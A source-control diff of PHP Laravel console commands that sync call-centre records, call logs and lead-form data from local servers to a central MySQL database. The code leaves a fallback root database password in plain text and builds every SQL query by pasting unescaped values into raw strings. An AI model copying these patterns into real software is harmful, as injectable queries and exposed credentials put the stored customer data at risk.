| 172 | if($excelarray[$i]["id"]=="") | 198 | if($excelarray[$i]["id"]=="") |
| ... | @@ -181,10 +207,10 @@ class bulkServerUpload_2 extends Command { | ... | @@ -181,10 +207,10 @@ class bulkServerUpload_2 extends Command { |
| 181 | $excelarray[$i]['Reason'] = $reason; | 207 | $excelarray[$i]['Reason'] = $reason; |
| 182 | 208 | ||
| 183 | $failureArr[] = $excelarray[$i]; | 209 | $failureArr[] = $excelarray[$i]; |
| 184 | } | ||
| 185 | 210 | ||
| 186 | } | 211 | } |
| 187 | 212 | ||
| 213 | } | ||
| 188 | if(!empty($successArr)){ | 214 | if(!empty($successArr)){ |
| 189 | foreach($successArr as $succes) | 215 | foreach($successArr as $succes) |
| 190 | { | 216 | { |
| ... | @@ -201,7 +227,6 @@ class bulkServerUpload_2 extends Command { | ... | @@ -201,7 +227,6 @@ class bulkServerUpload_2 extends Command { |
| 201 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_success set $setSuccess")); | 227 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_success set $setSuccess")); |
| 202 | } | 228 | } |
| 203 | } | 229 | } |
| 204 | |||
| 205 | if(!empty($failureArr)){ | 230 | if(!empty($failureArr)){ |
| 206 | foreach($failureArr as $failur) | 231 | foreach($failureArr as $failur) |
| 207 | { | 232 | { |
| ... | @@ -210,6 +235,7 @@ class bulkServerUpload_2 extends Command { | ... | @@ -210,6 +235,7 @@ class bulkServerUpload_2 extends Command { |
| 210 | $setFailure[] = "server_ip='$server_ip'"; | 235 | $setFailure[] = "server_ip='$server_ip'"; |
| 211 | $setFailure[] = "location='$location'"; | 236 | $setFailure[] = "location='$location'"; |
| 212 | $setFailure[] = "cust_id='".$failur['clientcode']."'"; | 237 | $setFailure[] = "cust_id='".$failur['clientcode']."'"; |
| 238 | $setFailure[] = "record_id='".$failur['record_id']."'"; | ||
| 213 | $setFailure[] = "reason='".$failur['Reason']."'"; | 239 | $setFailure[] = "reason='".$failur['Reason']."'"; |
| 214 | 240 | ||
| 215 | $setFailure = implode(",",$setFailure); | 241 | $setFailure = implode(",",$setFailure); | ... | ... |
| ... | @@ -18,21 +18,21 @@ use Input; | ... | @@ -18,21 +18,21 @@ use Input; |
| 18 | 18 | ||
| 19 | use Illuminate\Database\Schema\Blueprint; | 19 | use Illuminate\Database\Schema\Blueprint; |
| 20 | 20 | ||
| 21 | class bulkServerUpload_4 extends Command { | 21 | class bulkServerUpload_daily extends Command { |
| 22 | 22 | ||
| 23 | /** | 23 | /** |
| 24 | * The console command name. | 24 | * The console command name. |
| 25 | * | 25 | * |
| 26 | * @var string | 26 | * @var string |
| 27 | */ | 27 | */ |
| 28 | protected $signature = 'bulkServerUpload_4'; | 28 | protected $signature = 'bulkServerUpload_daily'; |
| 29 | 29 | ||
| 30 | /** | 30 | /** |
| 31 | * The console command description. | 31 | * The console command description. |
| 32 | * | 32 | * |
| 33 | * @var string | 33 | * @var string |
| 34 | */ | 34 | */ |
| 35 | protected $description = 'bulkServerUpload_4'; | 35 | protected $description = 'bulkServerUpload_daily'; |
| 36 | 36 | ||
| 37 | /** | 37 | /** |
| 38 | * Execute the console command. | 38 | * Execute the console command. |
| ... | @@ -42,7 +42,13 @@ class bulkServerUpload_4 extends Command { | ... | @@ -42,7 +42,13 @@ class bulkServerUpload_4 extends Command { |
| 42 | public function handle() | 42 | public function handle() |
| 43 | { | 43 | { |
| 44 | 44 | ||
| 45 | echo "\n".date('Y-m-d')."\n"; | 45 | //echo "\n".date('Y-m-d')."\n"; |
| 46 | |||
| 47 | echo "1"; | ||
| 48 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 49 | |||
| 50 | $server_ip=env('app_ip'); | ||
| 51 | $central_ip=env('central_ip'); | ||
| 46 | 52 | ||
| 47 | $wakka = new KHRMSLib(); | 53 | $wakka = new KHRMSLib(); |
| 48 | 54 | ||
| ... | @@ -64,7 +70,7 @@ class bulkServerUpload_4 extends Command { | ... | @@ -64,7 +70,7 @@ class bulkServerUpload_4 extends Command { |
| 64 | 70 | ||
| 65 | $conn = array( | 71 | $conn = array( |
| 66 | 'driver' => 'mysql', | 72 | 'driver' => 'mysql', |
| 67 | 'host' => '10.3.177.14', | 73 | 'host' => $central_ip, |
| 68 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | 74 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), |
| 69 | 'username' => env('DB_USERNAME', 'root'), | 75 | 'username' => env('DB_USERNAME', 'root'), |
| 70 | 'password' => env('DB_PASSWORD', 'yb9738z'), | 76 | 'password' => env('DB_PASSWORD', 'yb9738z'), |
| ... | @@ -79,10 +85,14 @@ class bulkServerUpload_4 extends Command { | ... | @@ -79,10 +85,14 @@ class bulkServerUpload_4 extends Command { |
| 79 | 85 | ||
| 80 | DB::connection("conn")->getDatabaseName(); | 86 | DB::connection("conn")->getDatabaseName(); |
| 81 | 87 | ||
| 82 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat where SERVER_IP='10.3.179.121' order by auto_id asc limit 80001,100000")); | 88 | $serverclist=DB::connection("conn")->select(DB::raw("select location from server_details where server_ip='$server_ip'")); |
| 89 | $location=$serverclist[0]->location; | ||
| 90 | echo $central_ip; | ||
| 91 | echo $location; | ||
| 92 | |||
| 93 | |||
| 94 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat_daily where SERVER_IP='$server_ip' order by auto_id asc limit 0,200")); | ||
| 83 | 95 | ||
| 84 | $server_ip='10.3.179.121'; | ||
| 85 | $location='Mumbai'; | ||
| 86 | $conn=''; | 96 | $conn=''; |
| 87 | 97 | ||
| 88 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | 98 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); |
| ... | @@ -99,7 +109,7 @@ class bulkServerUpload_4 extends Command { | ... | @@ -99,7 +109,7 @@ class bulkServerUpload_4 extends Command { |
| 99 | $flag = 0; | 109 | $flag = 0; |
| 100 | $editflag=0; | 110 | $editflag=0; |
| 101 | 111 | ||
| 102 | for($i=0;$i<=$highestrow;$i++) | 112 | for($i=0;$i<$highestrow;$i++) |
| 103 | { | 113 | { |
| 104 | if($excelarray[$i]["id"]!="") | 114 | if($excelarray[$i]["id"]!="") |
| 105 | { | 115 | { |
| ... | @@ -108,7 +118,6 @@ class bulkServerUpload_4 extends Command { | ... | @@ -108,7 +118,6 @@ class bulkServerUpload_4 extends Command { |
| 108 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records",array('created'=>date('Y-m-d H:i:s'))); | 118 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records",array('created'=>date('Y-m-d H:i:s'))); |
| 109 | } | 119 | } |
| 110 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); | 120 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); |
| 111 | |||
| 112 | if($wakka->getCount("records","id='".$excelarray[$i]["id"]."'")==1) | 121 | if($wakka->getCount("records","id='".$excelarray[$i]["id"]."'")==1) |
| 113 | { | 122 | { |
| 114 | $empdata=$wakka->getPerson($excelarray[$i]["id"]); | 123 | $empdata=$wakka->getPerson($excelarray[$i]["id"]); |
| ... | @@ -164,9 +173,28 @@ class bulkServerUpload_4 extends Command { | ... | @@ -164,9 +173,28 @@ class bulkServerUpload_4 extends Command { |
| 164 | $successArr[] = $excelarray[$i]; | 173 | $successArr[] = $excelarray[$i]; |
| 165 | 174 | ||
| 166 | } | 175 | } |
| 176 | else | ||
| 177 | { | ||
| 178 | $reason = ""; | ||
| 179 | |||
| 180 | $reason .= "Record ID is not on local server,"; | ||
| 181 | |||
| 182 | $excelarray[$i]['server_ip'] =$server_ip; | ||
| 183 | $excelarray[$i]['location'] =$location; | ||
| 184 | |||
| 185 | if($excelarray[$i]["clientcode"]!="") | ||
| 186 | $excelarray[$i]['cust_id'] =$excelarray[$i]["clientcode"]; | ||
| 187 | $excelarray[$i]['record_id'] = $excelarray[$i]["id"]; | ||
| 188 | |||
| 189 | $excelarray[$i]['Reason'] = $reason; | ||
| 190 | |||
| 191 | $failureArr[] = $excelarray[$i]; | ||
| 192 | |||
| 193 | } | ||
| 167 | } | 194 | } |
| 168 | else | 195 | else |
| 169 | { | 196 | { |
| 197 | |||
| 170 | $reason = ""; | 198 | $reason = ""; |
| 171 | 199 | ||
| 172 | if($excelarray[$i]["id"]=="") | 200 | if($excelarray[$i]["id"]=="") |
| ... | @@ -181,10 +209,10 @@ class bulkServerUpload_4 extends Command { | ... | @@ -181,10 +209,10 @@ class bulkServerUpload_4 extends Command { |
| 181 | $excelarray[$i]['Reason'] = $reason; | 209 | $excelarray[$i]['Reason'] = $reason; |
| 182 | 210 | ||
| 183 | $failureArr[] = $excelarray[$i]; | 211 | $failureArr[] = $excelarray[$i]; |
| 184 | } | ||
| 185 | 212 | ||
| 186 | } | 213 | } |
| 187 | 214 | ||
| 215 | } | ||
| 188 | if(!empty($successArr)){ | 216 | if(!empty($successArr)){ |
| 189 | foreach($successArr as $succes) | 217 | foreach($successArr as $succes) |
| 190 | { | 218 | { |
| ... | @@ -198,10 +226,11 @@ class bulkServerUpload_4 extends Command { | ... | @@ -198,10 +226,11 @@ class bulkServerUpload_4 extends Command { |
| 198 | 226 | ||
| 199 | $setSuccess = implode(",",$setSuccess); | 227 | $setSuccess = implode(",",$setSuccess); |
| 200 | 228 | ||
| 201 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_success set $setSuccess")); | 229 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_success_daily set $setSuccess")); |
| 230 | |||
| 231 | DB::connection("conn")->delete(DB::raw("DELETE FROM `bz_record_upload_uat_daily` where SERVER_IP='$server_ip' and id='".$succes['id']."'")); | ||
| 202 | } | 232 | } |
| 203 | } | 233 | } |
| 204 | |||
| 205 | if(!empty($failureArr)){ | 234 | if(!empty($failureArr)){ |
| 206 | foreach($failureArr as $failur) | 235 | foreach($failureArr as $failur) |
| 207 | { | 236 | { |
| ... | @@ -210,14 +239,19 @@ class bulkServerUpload_4 extends Command { | ... | @@ -210,14 +239,19 @@ class bulkServerUpload_4 extends Command { |
| 210 | $setFailure[] = "server_ip='$server_ip'"; | 239 | $setFailure[] = "server_ip='$server_ip'"; |
| 211 | $setFailure[] = "location='$location'"; | 240 | $setFailure[] = "location='$location'"; |
| 212 | $setFailure[] = "cust_id='".$failur['clientcode']."'"; | 241 | $setFailure[] = "cust_id='".$failur['clientcode']."'"; |
| 242 | $setFailure[] = "record_id='".$failur['record_id']."'"; | ||
| 213 | $setFailure[] = "reason='".$failur['Reason']."'"; | 243 | $setFailure[] = "reason='".$failur['Reason']."'"; |
| 214 | 244 | ||
| 215 | $setFailure = implode(",",$setFailure); | 245 | $setFailure = implode(",",$setFailure); |
| 216 | 246 | ||
| 217 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_failure set $setFailure")); | 247 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_failure_daily set $setFailure")); |
| 218 | } | 248 | } |
| 219 | } | 249 | } |
| 220 | 250 | ||
| 251 | //DB::connection("conn")->delete(DB::raw("DELETE FROM `bz_record_upload_uat_daily` where SERVER_IP='10.3.179.121'")); | ||
| 252 | |||
| 221 | DB::connection("conn")->disconnect(); | 253 | DB::connection("conn")->disconnect(); |
| 254 | |||
| 255 | |||
| 222 | } | 256 | } |
| 223 | } | 257 | } | ... | ... |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | use DB; | ||
| 5 | use Config; | ||
| 6 | |||
| 7 | use App\Models\User; | ||
| 8 | use App\Models\Accesslog; | ||
| 9 | |||
| 10 | use App\Models\CRMCall; | ||
| 11 | use Schema; | ||
| 12 | use PDO; | ||
| 13 | |||
| 14 | use Illuminate\Database\Schema\Blueprint; | ||
| 15 | |||
| 16 | class dailyupload_calllog extends Command { | ||
| 17 | |||
| 18 | /** | ||
| 19 | * The console command name. | ||
| 20 | * | ||
| 21 | * @var string | ||
| 22 | */ | ||
| 23 | protected $signature = 'dailyupload_calllog'; | ||
| 24 | |||
| 25 | /** | ||
| 26 | * The console command description. | ||
| 27 | * | ||
| 28 | * @var string | ||
| 29 | */ | ||
| 30 | protected $description = 'dailyupload_calllog'; | ||
| 31 | |||
| 32 | /** | ||
| 33 | * Execute the console command. | ||
| 34 | * | ||
| 35 | * @return mixed | ||
| 36 | */ | ||
| 37 | public function handle() | ||
| 38 | { | ||
| 39 | $nowts=time(); | ||
| 40 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 41 | $logdate=strtotime('0 day'); | ||
| 42 | |||
| 43 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 44 | $server_ip=env('app_ip'); | ||
| 45 | $central_ip=env('central_ip'); | ||
| 46 | $calllog_report = "calllog_report_".date("d_m_Y",$logdate); | ||
| 47 | $created_at=date("Y-m-d H:i:s"); | ||
| 48 | |||
| 49 | $conn = array( | ||
| 50 | 'driver' => 'mysql', | ||
| 51 | 'host' => $central_ip, | ||
| 52 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 53 | 'username' => env('DB_USERNAME', 'root'), | ||
| 54 | 'password' => env('DB_PASSWORD', ''), | ||
| 55 | 'charset' => 'utf8', | ||
| 56 | 'collation' => 'utf8_unicode_ci', | ||
| 57 | 'prefix' => '', | ||
| 58 | 'options' => array( | ||
| 59 | PDO::ATTR_TIMEOUT => 5, | ||
| 60 | ), | ||
| 61 | ); | ||
| 62 | Config::set("database.connections.conn", $conn); | ||
| 63 | if(DB::connection("conn")->getDatabaseName()) | ||
| 64 | { | ||
| 65 | |||
| 66 | $serverclist=DB::connection("conn")->select(DB::raw("select id from server_details where server_ip='$server_ip'")); | ||
| 67 | $server_id=$serverclist[0]->id; | ||
| 68 | if($server_id<10){ | ||
| 69 | $server_id="0".$server_id; | ||
| 70 | } | ||
| 71 | |||
| 72 | $clist=DB::connection("conn")->select(DB::raw("select count(*) as cnt,server from $calllog_report group by server")); | ||
| 73 | $caar=[]; | ||
| 74 | foreach($clist as $cline) | ||
| 75 | { | ||
| 76 | $caar[$cline->server]= $cline->cnt; | ||
| 77 | |||
| 78 | |||
| 79 | } | ||
| 80 | $mlist=DB::select(DB::raw("select count(*) as countrecord from crmcalls where created_at>'".date("Y-m-d",$logdate)."' and created_at<'".date("Y-m-d",$logdate+24*60*60)."'")); | ||
| 81 | |||
| 82 | $location_cont='0'; | ||
| 83 | $central_cont='0'; | ||
| 84 | |||
| 85 | $location_cont=$mlist[0]->countrecord; | ||
| 86 | if(array_key_exists($server_id,$caar)){ | ||
| 87 | $central_cont=$caar[$server_id]; | ||
| 88 | }else{ | ||
| 89 | $central_cont=0; | ||
| 90 | |||
| 91 | } | ||
| 92 | $dif=($mlist[0]->countrecord)-($central_cont); | ||
| 93 | |||
| 94 | if($dif<=5 && $dif>=-5){ | ||
| 95 | |||
| 96 | $result="Y"; | ||
| 97 | |||
| 98 | DB::connection("conn")->insert(DB::raw("insert into dailyupload_calllog_records set created_at='$created_at',server_id='$server_id',server_ip='$server_ip',central_count='$central_cont',location_count='$location_cont',difference='$dif',result='$result'")); | ||
| 99 | |||
| 100 | }else{ | ||
| 101 | |||
| 102 | $result="N"; | ||
| 103 | DB::connection("conn")->insert(DB::raw("insert into dailyupload_calllog_records set created_at='$created_at',server_id='$server_id',server_ip='$server_ip',central_count='$central_cont',location_count='$location_cont',difference='$dif',result='$result'")); | ||
| 104 | |||
| 105 | } | ||
| 106 | |||
| 107 | DB::connection("conn")->disconnect(); | ||
| 108 | |||
| 109 | } | ||
| 110 | |||
| 111 | } | ||
| 112 | |||
| 113 | |||
| 114 | } |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | use DB; | ||
| 5 | use Config; | ||
| 6 | |||
| 7 | use App\Models\User; | ||
| 8 | use App\Models\Accesslog; | ||
| 9 | |||
| 10 | use App\Models\CRMCall; | ||
| 11 | use Schema; | ||
| 12 | use PDO; | ||
| 13 | |||
| 14 | use Illuminate\Database\Schema\Blueprint; | ||
| 15 | |||
| 16 | class dailyupload_questionaire extends Command { | ||
| 17 | |||
| 18 | /** | ||
| 19 | * The console command name. | ||
| 20 | * | ||
| 21 | * @var string | ||
| 22 | */ | ||
| 23 | protected $signature = 'dailyupload_questionaire'; | ||
| 24 | |||
| 25 | /** | ||
| 26 | * The console command description. | ||
| 27 | * | ||
| 28 | * @var string | ||
| 29 | */ | ||
| 30 | protected $description = 'dailyupload_questionaire'; | ||
| 31 | |||
| 32 | /** | ||
| 33 | * Execute the console command. | ||
| 34 | * | ||
| 35 | * @return mixed | ||
| 36 | */ | ||
| 37 | public function handle() | ||
| 38 | { | ||
| 39 | $nowts=time(); | ||
| 40 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 41 | |||
| 42 | |||
| 43 | $logdate=strtotime('0 day'); | ||
| 44 | |||
| 45 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 46 | $server_ip=env('app_ip'); | ||
| 47 | $central_ip=env('central_ip'); | ||
| 48 | $questionaire_details = "questionaire_details_".date("d_m_Y",$logdate); | ||
| 49 | $created_at=date("Y-m-d H:i:s"); | ||
| 50 | |||
| 51 | $conn = array( | ||
| 52 | 'driver' => 'mysql', | ||
| 53 | 'host' => $central_ip, | ||
| 54 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 55 | 'username' => env('DB_USERNAME', 'root'), | ||
| 56 | 'password' => env('DB_PASSWORD', ''), | ||
| 57 | 'charset' => 'utf8', | ||
| 58 | 'collation' => 'utf8_unicode_ci', | ||
| 59 | 'prefix' => '', | ||
| 60 | 'options' => array( | ||
| 61 | PDO::ATTR_TIMEOUT => 5, | ||
| 62 | ), | ||
| 63 | ); | ||
| 64 | Config::set("database.connections.conn", $conn); | ||
| 65 | |||
| 66 | |||
| 67 | if(DB::connection("conn")->getDatabaseName()) | ||
| 68 | { | ||
| 69 | |||
| 70 | $serverclist=DB::connection("conn")->select(DB::raw("select id from server_details where server_ip='$server_ip'")); | ||
| 71 | $server_id=$serverclist[0]->id; | ||
| 72 | if($server_id<10){ | ||
| 73 | $server_id="0".$server_id; | ||
| 74 | } | ||
| 75 | |||
| 76 | |||
| 77 | $clist=DB::connection("conn")->select(DB::raw("select count(*) as cnt,server from $questionaire_details group by server")); | ||
| 78 | |||
| 79 | $caar=[]; | ||
| 80 | foreach($clist as $cline) | ||
| 81 | { | ||
| 82 | $caar[$cline->server]= $cline->cnt; | ||
| 83 | } | ||
| 84 | |||
| 85 | $mlist=DB::select(DB::raw("select count(*) as countrecord from questionaire_details where created_at>'".date("Y-m-d",$logdate)."' and created_at<'".date("Y-m-d",$logdate+24*60*60)."'")); | ||
| 86 | |||
| 87 | $location_cont='0'; | ||
| 88 | $central_cont='0'; | ||
| 89 | |||
| 90 | $location_cont=$mlist[0]->countrecord; | ||
| 91 | if(array_key_exists($server_id,$caar)){ | ||
| 92 | $central_cont=$caar[$server_id]; | ||
| 93 | }else{ | ||
| 94 | $central_cont=0; | ||
| 95 | |||
| 96 | } | ||
| 97 | $dif=($mlist[0]->countrecord)-($central_cont); | ||
| 98 | |||
| 99 | if($dif<=1 && $dif>=-1){ | ||
| 100 | |||
| 101 | $result="Y"; | ||
| 102 | |||
| 103 | DB::connection("conn")->insert(DB::raw("insert into dailyupload_questionaire set created_at='$created_at',server_id='$server_id',server_ip='$server_ip',central_count='$central_cont',location_count='$location_cont',difference='$dif',result='$result'")); | ||
| 104 | |||
| 105 | }else{ | ||
| 106 | |||
| 107 | $result="N"; | ||
| 108 | DB::connection("conn")->insert(DB::raw("insert into dailyupload_questionaire set created_at='$created_at',server_id='$server_id',server_ip='$server_ip',central_count='$central_cont',location_count='$location_cont',difference='$dif',result='$result'")); | ||
| 109 | |||
| 110 | } | ||
| 111 | |||
| 112 | DB::connection("conn")->disconnect(); | ||
| 113 | |||
| 114 | } | ||
| 115 | |||
| 116 | } | ||
| 117 | |||
| 118 | |||
| 119 | } |
application/app/Console/Commands/seatcount.php
→
application/app/Console/181017_Commands/full_remark_details.php
100755 → 100644
| ... | @@ -13,21 +13,21 @@ use PDO; | ... | @@ -13,21 +13,21 @@ use PDO; |
| 13 | 13 | ||
| 14 | use Illuminate\Database\Schema\Blueprint; | 14 | use Illuminate\Database\Schema\Blueprint; |
| 15 | 15 | ||
| 16 | class seatcount extends Command { | 16 | class full_remark_details extends Command { |
| 17 | 17 | ||
| 18 | /** | 18 | /** |
| 19 | * The console command name. | 19 | * The console command name. |
| 20 | * | 20 | * |
| 21 | * @var string | 21 | * @var string |
| 22 | */ | 22 | */ |
| 23 | protected $signature = 'seatcount'; | 23 | protected $signature = 'full_remark_details'; |
| 24 | 24 | ||
| 25 | /** | 25 | /** |
| 26 | * The console command description. | 26 | * The console command description. |
| 27 | * | 27 | * |
| 28 | * @var string | 28 | * @var string |
| 29 | */ | 29 | */ |
| 30 | protected $description = 'seatcount'; | 30 | protected $description = 'full_remark_details'; |
| 31 | 31 | ||
| 32 | /** | 32 | /** |
| 33 | * Execute the console command. | 33 | * Execute the console command. |
| ... | @@ -37,18 +37,19 @@ class seatcount extends Command { | ... | @@ -37,18 +37,19 @@ class seatcount extends Command { |
| 37 | public function handle() | 37 | public function handle() |
| 38 | { | 38 | { |
| 39 | $nowts=time(); | 39 | $nowts=time(); |
| 40 | echo "\n".date('Y-m-d')."\n"; | 40 | echo "\n".date('Y-m-d H:i:s')."\n"; |
| 41 | 41 | ||
| 42 | 42 | ||
| 43 | //$logdate=strtotime('0 day'); | 43 | $logdate=strtotime('0 day'); |
| 44 | 44 | ||
| 45 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | 45 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); |
| 46 | $server_id="08"; | 46 | $server_ip=env('app_ip'); |
| 47 | $seatcount = "seatcount"; | 47 | $full_remark = "full_remark_details"; |
| 48 | $central_ip=env('central_ip'); | ||
| 48 | 49 | ||
| 49 | $conn = array( | 50 | $conn = array( |
| 50 | 'driver' => 'mysql', | 51 | 'driver' => 'mysql', |
| 51 | 'host' => '10.3.177.14', | 52 | 'host' => $central_ip, |
| 52 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | 53 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), |
| 53 | 'username' => env('DB_USERNAME', 'root'), | 54 | 'username' => env('DB_USERNAME', 'root'), |
| 54 | 'password' => env('DB_PASSWORD', ''), | 55 | 'password' => env('DB_PASSWORD', ''), |
| ... | @@ -64,15 +65,18 @@ class seatcount extends Command { | ... | @@ -64,15 +65,18 @@ class seatcount extends Command { |
| 64 | 65 | ||
| 65 | if(DB::connection("conn")->getDatabaseName()) | 66 | if(DB::connection("conn")->getDatabaseName()) |
| 66 | { | 67 | { |
| 67 | 68 | $serverclist=DB::connection("conn")->select(DB::raw("select id from server_details where server_ip='$server_ip'")); | |
| 68 | echo ",".$server_id; | 69 | $server_id=$serverclist[0]->id; |
| 70 | if($server_id<10){ | ||
| 71 | $server_id="0".$server_id; | ||
| 72 | } | ||
| 69 | 73 | ||
| 70 | $maxid=DB::connection("conn")->select(DB::raw("SELECT max(full_remark_id) as maxid from $full_remark where server_id='$server_id'")); | 74 | $maxid=DB::connection("conn")->select(DB::raw("SELECT max(full_remark_id) as maxid from $full_remark where server_id='$server_id'")); |
| 71 | 75 | ||
| 72 | $maxids=$maxid[0]->maxid; | 76 | $maxids=$maxid[0]->maxid; |
| 73 | 77 | ||
| 74 | 78 | //$qlist=DB::select(DB::raw("SELECT * from full_remark")); | |
| 75 | $qlist=DB::select(DB::raw("SELECT * from daily_count where id>'$maxids' and created_at>'".date("Y-m-d")."' and created_at<'".date("Y-m-d H:i:s",$logdate-(60*60))."'")); | 79 | $qlist=DB::select(DB::raw("SELECT * from full_remark where id>'$maxids' and created_at>'".date("Y-m-d")."' and created_at<'".date("Y-m-d H:i:s",$logdate-(60*60))."'")); |
| 76 | 80 | ||
| 77 | $userarr=array(); | 81 | $userarr=array(); |
| 78 | foreach($qlist as $qline) | 82 | foreach($qlist as $qline) | ... | ... |
| 1 | <?php namespace App\Console\Commands; | ||
| 2 | |||
| 3 | use Illuminate\Console\Command; | ||
| 4 | use DB; | ||
| 5 | use Config; | ||
| 6 | |||
| 7 | use App\Models\User; | ||
| 8 | use App\Models\Accesslog; | ||
| 9 | |||
| 10 | use App\Models\CRMCall; | ||
| 11 | use Schema; | ||
| 12 | use PDO; | ||
| 13 | |||
| 14 | use Illuminate\Database\Schema\Blueprint; | ||
| 15 | |||
| 16 | class lead_form_details extends Command { | ||
| 17 | |||
| 18 | /** | ||
| 19 | * The console command name. | ||
| 20 | * | ||
| 21 | * @var string | ||
| 22 | */ | ||
| 23 | protected $signature = 'lead_form_details'; | ||
| 24 | |||
| 25 | /** | ||
| 26 | * The console command description. | ||
| 27 | * | ||
| 28 | * @var string | ||
| 29 | */ | ||
| 30 | protected $description = 'lead_form_details'; | ||
| 31 | |||
| 32 | /** | ||
| 33 | * Execute the console command. | ||
| 34 | * | ||
| 35 | * @return mixed | ||
| 36 | */ | ||
| 37 | public function handle() | ||
| 38 | { | ||
| 39 | $nowts=time(); | ||
| 40 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 41 | |||
| 42 | |||
| 43 | $logdate=strtotime('0 day'); | ||
| 44 | |||
| 45 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 46 | $server_ip=env('app_ip'); | ||
| 47 | $lead_form = "lead_form_details"; | ||
| 48 | $central_ip=env('central_ip'); | ||
| 49 | |||
| 50 | $conn = array( | ||
| 51 | 'driver' => 'mysql', | ||
| 52 | 'host' => $central_ip, | ||
| 53 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | ||
| 54 | 'username' => env('DB_USERNAME', 'root'), | ||
| 55 | 'password' => env('DB_PASSWORD', ''), | ||
| 56 | 'charset' => 'utf8', | ||
| 57 | 'collation' => 'utf8_unicode_ci', | ||
| 58 | 'prefix' => '', | ||
| 59 | 'options' => array( | ||
| 60 | PDO::ATTR_TIMEOUT => 5, | ||
| 61 | ), | ||
| 62 | ); | ||
| 63 | Config::set("database.connections.conn", $conn); | ||
| 64 | |||
| 65 | |||
| 66 | if(DB::connection("conn")->getDatabaseName()) | ||
| 67 | { | ||
| 68 | $serverclist=DB::connection("conn")->select(DB::raw("select id,location from server_details where server_ip='$server_ip'")); | ||
| 69 | $server_id=$serverclist[0]->id; | ||
| 70 | if($server_id<10){ | ||
| 71 | $server_id="0".$server_id; | ||
| 72 | } | ||
| 73 | $location=$serverclist[0]->location; | ||
| 74 | $maxid=DB::connection("conn")->select(DB::raw("SELECT max(lead_form_id) as maxid from lead_form_details where server_ip='$server_ip'")); | ||
| 75 | |||
| 76 | $maxids=$maxid[0]->maxid; | ||
| 77 | |||
| 78 | $qlist=DB::select(DB::raw("SELECT * from lead_form where id>'$maxids'")); | ||
| 79 | print_r($qlist); | ||
| 80 | $userarr=array(); | ||
| 81 | foreach($qlist as $qline) | ||
| 82 | { | ||
| 83 | |||
| 84 | $setstrarr=array(); | ||
| 85 | |||
| 86 | |||
| 87 | $setstrarr[]="lead_form_id='$qline->id'"; | ||
| 88 | $setstrarr[]="created_at='$qline->created_at'"; | ||
| 89 | $setstrarr[]="updated_at='$qline->updated_at'"; | ||
| 90 | $setstrarr[]="product='$qline->product'"; | ||
| 91 | $setstrarr[]="customer_name='$qline->customer_name'"; | ||
| 92 | $setstrarr[]="mobile_number='$qline->mobile_number'"; | ||
| 93 | $setstrarr[]="city='$qline->city'"; | ||
| 94 | $setstrarr[]="state='$qline->state'"; | ||
| 95 | $setstrarr[]="agent_memo='$qline->agent_memo'"; | ||
| 96 | $setstrarr[]="customer_memo='$qline->customer_memo'"; | ||
| 97 | $setstrarr[]="remarks='$qline->remarks'"; | ||
| 98 | $setstrarr[]="transfer_memo='$qline->transfer_memo'"; | ||
| 99 | $setstrarr[]="server_ip='$server_ip'"; | ||
| 100 | $setstrarr[]="location='$location'"; | ||
| 101 | $setstrarr[]="address='$qline->address'"; | ||
| 102 | $setstrarr[]="mobile='$qline->mobile'"; | ||
| 103 | $setstrarr[]="client='$qline->client'"; | ||
| 104 | $setstrarr[]="user_id='$qline->user_id'"; | ||
| 105 | $setstrarr[]="firstname='$qline->firstname'"; | ||
| 106 | $setstrarr[]="clientcode='$qline->clientcode'"; | ||
| 107 | $setstrarr[]="call_id='$qline->call_id'"; | ||
| 108 | $setstrarr[]="record_id='$qline->record_id'"; | ||
| 109 | |||
| 110 | $setstr=implode(",",$setstrarr); | ||
| 111 | echo "prashant"; | ||
| 112 | print_r($setstr); | ||
| 113 | DB::connection("conn")->insert(DB::raw("insert into lead_form_details set $setstr")); | ||
| 114 | |||
| 115 | } | ||
| 116 | DB::connection("conn")->disconnect(); | ||
| 117 | |||
| 118 | } | ||
| 119 | |||
| 120 | } | ||
| 121 | |||
| 122 | |||
| 123 | } |
application/app/Console/13jul17_Commands/questionnaire_details.php
→
application/app/Console/181017_Commands/questionnaire_details.php
100755 → 100644
| ... | @@ -43,13 +43,13 @@ class questionnaire_details extends Command { | ... | @@ -43,13 +43,13 @@ class questionnaire_details extends Command { |
| 43 | $logdate=strtotime('0 day'); | 43 | $logdate=strtotime('0 day'); |
| 44 | 44 | ||
| 45 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | 45 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); |
| 46 | $server_id="08"; | ||
